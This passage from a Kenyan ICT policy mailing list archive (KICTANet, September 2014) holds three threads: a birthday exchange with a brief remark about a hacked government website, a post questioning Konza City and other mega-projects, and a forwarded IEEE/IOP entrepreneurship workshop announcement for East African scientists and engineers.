services. I was sad last week when i could not get a critical government service because the relevant government website had been hacked. This are issues that can be addressed collaboratively. We are what we are because a couple of years ago we embraced the multi-stakeholder model and worked together and this is the same spirit we should maintain. Best Regards On 9/8/14, Ali Hussein via kictanet <kictanet(a)lists.kictanet.or.ke> wrote: > Andrea > > Now did you have to go and splash my birthday like that? :) > > The power of social media I guess...:) > > Thanks Andrea. And for those of you who are wondering how old I am - 21 > years. :) > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will > have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > >> On Sep 8, 2014, at 10:39 AM, Andrea Bohnstedt >> <andrea.bohnstedt(a)ratio-magazine.com> wrote: >> >> Happy birthday, Ali :) >> >>> On 8 September 2014 10:34, Ali Hussein via kictanet >>> <kictanet(a)lists.kictanet.or.ke> wrote: >>> Listers >>> >>> Interesting article. Although a lot still needs to be done we must take >>> stock and see how greater engagement between the private and public >>> sector can grow this important aspect of public-private partnerships. >>> >>> http://www.idgconnect.com/blog-abstract/8735/the-scorecard-government-acros… >>> >>> Ali Hussein >>> >>> +254 770 906375 / 0713 601113 >>> >>> Twitter: @AliHKassim >>> Skype: abu-jomo >>> LinkedIn: http://ke.linkedin.com/in/alihkassim >>> Blog: www.alyhussein.com >>> >>> "I fear the day technology will surpass human interaction. The world will >>> have a generation of idiots". ~ Albert Einstein >>> >>> Sent from my iPad >>> >>> _______________________________________________ >>> kictanet mailing list >>> kictanet(a)lists.kictanet.or.ke >>> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >>> >>> Unsubscribe or change your options at >>> https://lists.kictanet.or.ke/mailman/options/kictanet/andrea.bohnstedt%40ra… >>> >>> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >>> for people and institutions interested and involved in ICT policy and >>> regulation. The network aims to act as a catalyst for reform in the ICT >>> sector in support of the national aim of ICT enabled growth and >>> development. >>> >>> KICTANetiquette : Adhere to the same standards of acceptable behaviors >>> online that you follow in real life: respect people's times and >>> bandwidth, share knowledge, don't flame or abuse or personalize, respect >>> privacy, do not spam, do not market your wares or qualifications. >> >> >> >> -- >> Andrea Bohnstedt >> Analyst/Publisher >> >> www.ratio-magazine.com >> www.africa-assets.com >> >> >> > -- Barrack O. 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Of bullet trains and delusions of mega techno-cities....
by Ngigi Waithaka 16 Sep '14

16 Sep '14

Listers, I am hoping that many of you read this article http://www.nation.co.ke/oped/Opinion/bullet-trains-delusions-mega-techno-ci… If you didn't, I would urge you to read it. In a way the writer, David Ndii, has put it down from his point of view why it we are chasing a an economic-tiger mirage with our current policies of starting at the end as opposed to asking ourselves how to get there. I happen to agree with what he writes on this article, and it is my hope that we'll one day re-look at the current projects we have in ICT, especially Konza City and ask ourselves whether what this country needs is an ICT City or to invest in local universities and firms that will eventually build that city. -- *Regards,* *Wait**haka Ngigi* Chief Executive Officer | Alliance Technologies | MCK Nairobi Synod Building T + 254 (0) 20 2333 471 |Office Mobile: +254 786 28 28 28 | M + 254 737 811 000 www.at.co.ke

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Fwd: [KENYA-SECTION] Entrepreneurship Workshop for Scientists and Engineers in East Africa
by John Matogo 11 Sep '14

11 Sep '14

Dear colleagues. See message below. I hope you can attend and share with others to participate as well. Regards. JM IEEE and the Institute of Physics (IOP) have partnered to deliver a series of workshops on entrepreneurship for scientists and engineers from developing countries. In this regard the Entrepreneurship Workshop for Scientists and Engineers in East Africa will be held at the Kenya School of Monetary Studies from 3-7 December. It's a great training and a one semester university education module has been developed based on it. The participants will be equipped with the skills and tools to deliver the same training to others upon return to their organisations. Here's the link for the Nairobi entrepreneurship workshop to be conducted in December 2014. http://www.ieee.or.ke/entrepreneurship/ The official poster has also been attached to this mail. Entrepreneurship for Scientists and Engineers in East AfricaKenya School of Monetary Studies, Kenya, 3–7 December 2014 *VENUE AND OBJECTIVES*IEEE and the Institute of Physics (IOP) are jointly organising the 2014 workshop “Entrepreneurship for Scientists and Engineers in East Africa ” to be held at the Kenya School of Monetary Studies from 3-7 December. This one-week intensive workshop is designed for scientists and engineers from different parts of East Africa who are interested in learning entrepreneurial skills to commercialise their scientific inventions. Participants will benefit from the international perspective and profitable insights of leading experts and fellow delegates from the East Africa region and the rest of the world. *PURPOSES AND NATURE* The purpose of this workshop is to introduce scientists and engineers in the region to the process of innovation, generation and protection of intellectual property, technology transfer and commercialisation of inventions. The workshop will consist of lectures by invited speakers, case studies, group discussions and role-playing sessions related to the commercialisation of products. *TOPICS COVERED* Scientists and Engineers as Entrepreneurs; Opportunity and Value Assessment; Intellectual Property (IP); Basics of Patenting; IP Management and Global IP Protection; Business Plan Fundamentals, Technology Readiness Levels, Invention to Product: Timelines and Processes; Case Studies and Group Projects. *PARTICIPATION* Scientists and students throughout the East African region are welcome to attend the workshop. All sessions and talks will be conducted in English, so participants should have a good working knowledge of the language. Although the main purpose of the workshop is to help young scientists and engineers, aspiring students and other innovators are also welcome to apply. Participants will be expected to cover their costs of transportation to the venue. A registration fee of $250 will be charged to defray the cost of accommodation. *HOW TO GET INVOLVED* To participate at the event, complete the application form here <http://www.ieee.or.ke/entrepreneurship/application-for-the-entrepreneurship…> . The application dealine is *October 31, 2014*. CO-ORGANISERSFACULTY*Gordon Day*, IEEE *Dipali Bhatt-Chauhan*, Institute of Physics *Aniruddha Shahapure*, IEEE Kenya *Vincent Kaabunga*, IEEE Kenya *John Matogo*, IEEE Kenya *Julius Riungu*, Institution of Engineers of Kenya *Harrison Macharia*, NACOSTI*Mr Richard Brooks*, UK *Dr Surya Raghu*, USA *Dr Tony Bunn*, South Africa *Ms Yumiko Hamano*, Switzerland *Prof. Duncan Moore*, USA *Dr Joe Nimela*, Italy [image: ea-sponsors] -- Note: All emails sent from Strathmore University are subject to Strathmore’s Email Terms & Conditions. Please click here <http://www.strathmore.edu/aboutus.php?id=184> to read the policy. "Visit our Facebook <https://www.facebook.com/StrathmoreUniversity>Page and Twitter <https://twitter.com/StrathU>Account".

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